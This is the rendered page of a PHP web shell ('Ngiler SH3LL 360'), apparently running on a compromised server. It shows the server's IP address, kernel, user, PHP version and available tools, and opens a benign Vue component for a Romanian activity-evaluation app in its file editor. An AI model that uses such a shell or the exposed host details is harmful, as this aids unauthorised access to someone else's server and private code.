Ngiler SH3LL 360
Home
Information
Create File
Create Folder
:
/
home
/
tbf
/
tbfguest.tbf.ro
/
src
/
views
/
public
/
positions
/
Information Server
MySQL :
OFF
Perl :
OFF
CURL :
ON
WGET :
OFF
PKEXEC :
OFF
Directive
Local Value
IP Address
89.40.16.97
System
Linux server.atelieruldeit.ro 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
User
tbf
PHP Version
7.3.33
Software
Apache
Doc root
Writable
close
Edit File :
ActivityCheckProcess.vue
| Size :
16.87
KB
Copy
<template> <!-- Content --> <div class="relative"> <Transition enter-active-class="ease-out duration-500" enter-from-class="opacity-0" enter-to-class="opacity-100" leave-active-class="ease-in duration-200" leave-from-class="opacity-100" leave-to-class="opacity-0"> <div v-if="loaded" class="pb-20 max-w-none mx-auto"> <div class="bg-gray-50 px-16 pt-14 py-10 border-b border-gray-200"> <div class="flex justify-between items-center"> <div class="flex items-center gap-x-3 relative"> <!-- Back button --> <router-link :to="{ name: 'positions' }" class="inset-y-0 -left-10 h-14 flex items-center absolute transition duration-300 hover:-translate-x-1 hover:text-gray-500"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="w-6 h-6"> <path vector-effect="non-scaling-stroke" fill-rule="evenodd" d="M7.72 12.53a.75.75 0 010-1.06l7.5-7.5a.75.75 0 111.06 1.06L9.31 12l6.97 6.97a.75.75 0 11-1.06 1.06l-7.5-7.5z" clip-rule="evenodd" /> </svg> </router-link> <!-- Emoji funcție --> <div class="w-14 h-14 rounded-lg bg-white ring-1 ring-inset ring-gray-200 flex items-center justify-center"> {{ position.emoji }} </div> <!-- Titlu funcție --> <div> <h3 class="text-base font-semibold leading-6 text-gray-900">{{ position.name }}</h3> <p class="mt-2 max-w-4xl text-sm text-gray-500">Evaluează activitățile, stabilește importanța și descrie problemele</p> </div> </div> <div class="flex" v-if="!position.evaluation_completed && canEvaluate"> <button type="button" @click="finalizeEvaluation" :disabled="loadingSubmit" class="flex items-center gap-x-2 rounded-md bg-green-500 px-3.5 py-2.5 text-sm font-medium text-white hover:bg-green-400 focus-visible:outline focus-visible:outline-2 focus-visible:outline-offset-2 focus-visible:outline-green-600"> <LoaderTbf color="text-white" v-if="loadingSubmit" /> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="w-5 h-5 -ml-0.5" v-else> <path vector-effect="non-scaling-stroke" fill-rule="evenodd" d="M2.25 12c0-5.385 4.365-9.75 9.75-9.75s9.75 4.365 9.75 9.75-4.365 9.75-9.75 9.75S2.25 17.385 2.25 12zm13.36-1.814a.75.75 0 10-1.22-.872l-3.236 4.53L9.53 12.22a.75.75 0 00-1.06 1.06l2.25 2.25a.75.75 0 001.14-.094l3.75-5.25z" clip-rule="evenodd" /> </svg> Finalizează evaluarea </button> <div class="relative ml-5"> <button @click="openTutorial" class="p-2 bg-blue-500 hover:bg-blue-400 rounded-full text-white"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="w-6 h-6"> <path stroke-linecap="round" stroke-linejoin="round" d="M11.25 11.25l.041-.02a.75.75 0 011.063.852l-.708 2.836a.75.75 0 001.063.853l.041-.021M21 12a9 9 0 11-18 0 9 9 0 0118 0zm-9-3.75h.008v.008H12V8.25z" /> </svg> </button> <transition enter-active-class="transition-all ease-out duration-150 origin-top" enter-from-class="opacity-0 scale-75" enter-to-class="opacity-100 scale-105" leave-active-class="transition-all ease-in duration-75 origin-top" leave-from-class="opacity-100 scale-105" leave-to-class="opacity-0 scale-75"> <div v-if="tutorialPopover" class="absolute top-[100%] scal translate-y-3 -right-5 w-[15rem] p-4 rounded-lg text-sm text-center text-white bg-blue-400 shadow-sm transition-all duration-150 z-20"> <div class="relative"> <div class="w-3 h-3 bg-blue-400 absolute -top-5 right-[1.1rem] rotate-45"></div> </div> <div class="p-3 bg-white/20 text-white rounded-full inline-block"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="w-6 h-6"> <path fill-rule="evenodd" d="M9.401 3.003c1.155-2 4.043-2 5.197 0l7.355 12.748c1.154 2-.29 4.5-2.599 4.5H4.645c-2.309 0-3.752-2.5-2.598-4.5L9.4 3.003zM12 8.25a.75.75 0 01.75.75v3.75a.75.75 0 01-1.5 0V9a.75.75 0 01.75-.75zm0 8.25a.75.75 0 100-1.5.75.75 0 000 1.5z" clip-rule="evenodd" /> </svg> </div> <h3 class="mt-2 font-semibold text-base text-center">Atenție</h3> <p class="mt-2 text-center">Urmărește acest video cu instrucțiuni înainte să completezi pagina</p> <button @click="openTutorial" type="button" class="mt-5 mb-0.5 w-full text-center rounded-full px-7 py-2 text-sm font-semibold focus-visible:outline-none bg-white text-blue-500 hover:text-blue-400"> Vezi video </button> </div> </transition> </div> </div> </div> </div> <div class="pt-12 px-16"> <div class="flex flex-col justify-start gap-3 pb-5"> <h2 class="text-sm font-medium text-gray-500">Activități verificate ({{ activities.filter((el) => el.evaluation_completed).length }}/{{ activities.length }})</h2> </div> <TransitionGroup tag="ul" role="list" enter-from-class="opacity-0 -translate-y-10" enter-active-class="transition-all duration-1000 transform" enter-to-class="opacity-100 translate-y-0" leave-from-class="opacity-100 translate-y-0" leave-active-class="transition-all duration-1000 transform absolute" leave-to-class="opacity-0 translate-y-10" class="grid grid-flow-row-dense grid-cols-1 gap-5 md:grid-cols-2 sm:gap-6 lg:grid-cols-3 xl:grid-cols-4 2xl:grid-cols-5"> <li class="transition-all duration-1000 text-sm overflow-hidden flex flex-col justify-between" key="new-activity"> <button type="button" class="relative block w-full h-full rounded-lg border-2 border-dashed border-gray-300 p-12 text-center hover:border-gray-400 focus:outline-none" @click="openModal('create', { positionId: position.id })"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor" class="mx-auto h-12 w-12 text-gray-400"> <path stroke-linecap="round" stroke-width="1" vector-effect="non-scaling-stroke" stroke-linejoin="round" d="M12 9v6m3-3H9m12 0a9 9 0 11-18 0 9 9 0 0118 0z" /> </svg> <span class="mt-2 block text-sm font-semibold text-gray-900 text-center">Adaugă activitate</span> </button> </li> <li v-for="task in activities" :key="task.id" class="transition-all duration-1000 rounded-lg border border-gray-200 text-sm overflow-hidden p-4 flex flex-col justify-between"> <div> <div class="flex items-start justify-between"> <div> <div class="py-2"> <div class="text-lg">{{ task.emoji }}</div> </div> </div> <div> <div class="pt-[13px] flex items-center gap-[1px]" v-if="task.importance"> <div v-for="stars in task.importance.stars" class="text-galben-400"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="w-4 h-4"> <path vector-effect="non-scaling-stroke" fill-rule="evenodd" d="M10.788 3.21c.448-1.077 1.976-1.077 2.424 0l2.082 5.007 5.404.433c1.164.093 1.636 1.545.749 2.305l-4.117 3.527 1.257 5.273c.271 1.136-.964 2.033-1.96 1.425L12 18.354 7.373 21.18c-.996.608-2.231-.29-1.96-1.425l1.257-5.273-4.117-3.527c-.887-.76-.415-2.212.749-2.305l5.404-.433 2.082-5.006z" clip-rule="evenodd" /> </svg> </div> <div v-for="stars in 5 - task.importance.stars" class="text-gray-200"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="w-4 h-4"> <path vector-effect="non-scaling-stroke" fill-rule="evenodd" d="M10.788 3.21c.448-1.077 1.976-1.077 2.424 0l2.082 5.007 5.404.433c1.164.093 1.636 1.545.749 2.305l-4.117 3.527 1.257 5.273c.271 1.136-.964 2.033-1.96 1.425L12 18.354 7.373 21.18c-.996.608-2.231-.29-1.96-1.425l1.257-5.273-4.117-3.527c-.887-.76-.415-2.212.749-2.305l5.404-.433 2.082-5.006z" clip-rule="evenodd" /> </svg> </div> </div> <div class="pt-[13px] flex items-center gap-[1px]" v-else> <div v-for="stars in 5" class="text-gray-200"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="w-4 h-4"> <path vector-effect="non-scaling-stroke" fill-rule="evenodd" d="M10.788 3.21c.448-1.077 1.976-1.077 2.424 0l2.082 5.007 5.404.433c1.164.093 1.636 1.545.749 2.305l-4.117 3.527 1.257 5.273c.271 1.136-.964 2.033-1.96 1.425L12 18.354 7.373 21.18c-.996.608-2.231-.29-1.96-1.425l1.257-5.273-4.117-3.527c-.887-.76-.415-2.212.749-2.305l5.404-.433 2.082-5.006z" clip-rule="evenodd" /> </svg> </div> </div> </div> </div> <div class="mt-2 font-semibold text-gray-900 hover:text-gray-600 text-md"> {{ task.title }} </div> <p class="mt-2 text-gray-500">{{ task.description }}</p> </div> <div v-if="canEvaluate" class="flex items-center flex-wrap"> <button @click="openModal('evaluate', { ...task, positionId: position.id })" v-if="!task.evaluation_completed" type="button" class="mt-4 mr-3 rounded-md bg-blue-500 px-3 py-1.5 text-sm font-medium text-white hover:bg-blue-400"> Evaluează </button> <div class="mt-4 flex-1 flex items-center"> <button @click="openModal('update', { ...task, positionId: position.id })" type="button" class="rounded-md text-center bg-white px-3 py-1.5 text-sm font-medium text-gray-900 ring-1 ring-inset ring-gray-300 hover:bg-gray-50 flex-1"> Modifică </button> <button @click="deleteActivity(task)" type="button" class="rounded-md px-3 py-2 ml-3 text-sm font-semibold shadow-sm focus-visible:outline focus-visible:outline-2 focus-visible:outline-offset-2 focus-visible:outline-rose-500 bg-white border border-gray-300 text-gray-900 hover:bg-rose-500 hover:text-white hover:border-red-500 disabled:cursor-not-allowed disabled:bg-rose-500 disabled:hover:bg-rose-500 disabled:border-rose-500" :disabled="loadingDeleteStep[task.id]"> <LoaderTbf color="text-white" v-if="loadingDelete" /> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="w-4 h-4" v-else> <path stroke-linecap="round" stroke-linejoin="round" d="M14.74 9l-.346 9m-4.788 0L9.26 9m9.968-3.21c.342.052.682.107 1.022.166m-1.022-.165L18.16 19.673a2.25 2.25 0 01-2.244 2.077H8.084a2.25 2.25 0 01-2.244-2.077L4.772 5.79m14.456 0a48.108 48.108 0 00-3.478-.397m-12 .562c.34-.059.68-.114 1.022-.165m0 0a48.11 48.11 0 013.478-.397m7.5 0v-.916c0-1.18-.91-2.164-2.09-2.201a51.964 51.964 0 00-3.32 0c-1.18.037-2.09 1.022-2.09 2.201v.916m7.5 0a48.667 48.667 0 00-7.5 0" /> </svg> </button> </div> </div> </li> </TransitionGroup> </div> </div> <LoaderPage v-else /> </Transition> </div> </template> <script> // Import the required components import LoaderTbf from "@/components/public/LoadingTbf.vue"; import LoaderPage from "@/components/public/positions/loaders/ActivityCheck.vue"; import { useModalsStore } from "@/stores/modals.js"; import eventBus from "@/eventBus.js"; import { userNotificationsStore } from "@/stores/notifications.js"; import { useCookies } from "vue3-cookies"; export default { setup() { const { cookies } = useCookies(); return { cookies }; }, components: { LoaderTbf, LoaderPage, }, data() { return { loaded: false, loadingSubmit: false, activities: [], realTimeModals: useModalsStore(), realTimeNotifications: userNotificationsStore(), canEvaluate: false, tutorialPopover: false, loadingDeleteStep: {}, }; }, beforeUnmount() { eventBus.off("updateActivitiEvaluation"); eventBus.off("updateActivityData"); eventBus.off("addActivity"); }, async mounted() { await this.getActivities(); eventBus.on("updateActivitiEvaluation", (data) => { var foundIndexTask = this.activities.findIndex((el) => el.id == data.taskId); if (foundIndexTask !== -1) { this.activities[foundIndexTask].importance = data.importance; this.activities[foundIndexTask].problems = data.problems; this.activities[foundIndexTask].evaluation_completed = true; if (data.updateAll) { this.activities[foundIndexTask].title = data.title; this.activities[foundIndexTask].description = data.description; } } }); eventBus.on("updateActivityData", (data) => { var foundIndexTask = this.activities.findIndex((el) => el.id == data.taskId); if (foundIndexTask !== -1) { this.activities[foundIndexTask].importance = data.importance; this.activities[foundIndexTask].problems = data.problems; this.activities[foundIndexTask].title = data.title; this.activities[foundIndexTask].description = data.description; this.activities[foundIndexTask].evaluation_completed = true; } }); eventBus.on("addActivity", (data) => { this.activities.push(data); }); var cookieModalVimeoData = this.cookies.get("modal_vimeo"); if (!(cookieModalVimeoData && JSON.parse(cookieModalVimeoData).includes("activity_check"))) { setTimeout(() => { this.tutorialPopover = true; }, 1000); } }, methods: { async getActivities() { await axios .get(`positions/${this.$route.params.id}/activities`) .then(({ data }) => { this.activities = data.data; this.position = data.position; this.canEvaluate = data.rights.can_evaluate; }) .catch((error) => { var responseError = error.response.data; this.realTimeNotifications.addNotification({ type: "error", title: "TBF ERROR", description: `"${responseError.message}"<br>Vă rugăm să ne contactați și să ne transmiteți eroare. În interesul remedierii acestei probleme cât mai curând posibil.`, }); }) .finally(() => { this.loaded = true; }); }, openModal(type, data = false) { if (type == "evaluate") { this.realTimeModals.toggleShowModal("modal_evaluation", data); } else { this.realTimeModals.toggleShowModal("modal_add_update_activity", { ...data, crud: type }); } }, finalizeEvaluation() { if (this.activities.filter((el) => !el.evaluation_completed).length) { this.realTimeNotifications.addNotification({ type: "error", title: "Evalueaza toate activitatiile", description: "Evalueaza toate activitatiile pentru a putea finaliza evaluarea", }); return; } this.loadingSubmit = true; axios .patch(`/instances/${this.$auth.user().instance.id}/positions/${this.position.id}/finalize`) .then(() => { this.$router.push({ name: "positions" }); }) .catch((error) => { var responseError = error.response.data; this.realTimeNotifications.addNotification({ type: "error", title: "TBF ERROR", description: `"${responseError.message}"<br>Vă rugăm să ne contactați și să ne transmiteți eroare. În interesul remedierii acestei probleme cât mai curând posibil.`, }); }); }, openTutorial() { var arrayPages = this.cookies.get("modal_vimeo") ? JSON.parse(this.cookies.get("modal_vimeo")) : []; if (!arrayPages.includes("activity_check")) { arrayPages.push("activity_check"); this.cookies.set("modal_vimeo", JSON.stringify(arrayPages), "30d"); } this.tutorialPopover = false; this.realTimeModals.toggleShowModal("modal_video_vimeo", { videoId: "870598428" }); }, deleteActivity(item) { this.realTimeModals.toggleShowModal("modal_confirm_alert", { modal_title: "Ești sigur că dorești să ștergi această activitate?", modal_description: "Această acțiune este ireversibilă.", call_back: () => { this.loadingDeleteStep[item.id] = true; axios .delete(`positions/${this.position.id}/activities/${item.id}`) .then(({ data }) => { this.realTimeNotifications.addNotification({ type: "success", title: "Ștergere reușită", description: `Activitatea a fost ștearsă cu succes.`, }); let activityIndex = this.activities.findIndex((el) => el.id == item.id); if (activityIndex != -1) { this.activities.splice(activityIndex, 1); } }) .finally(() => { this.loadingDeleteStep[item.id] = false; }); }, }); }, }, }; </script>
Back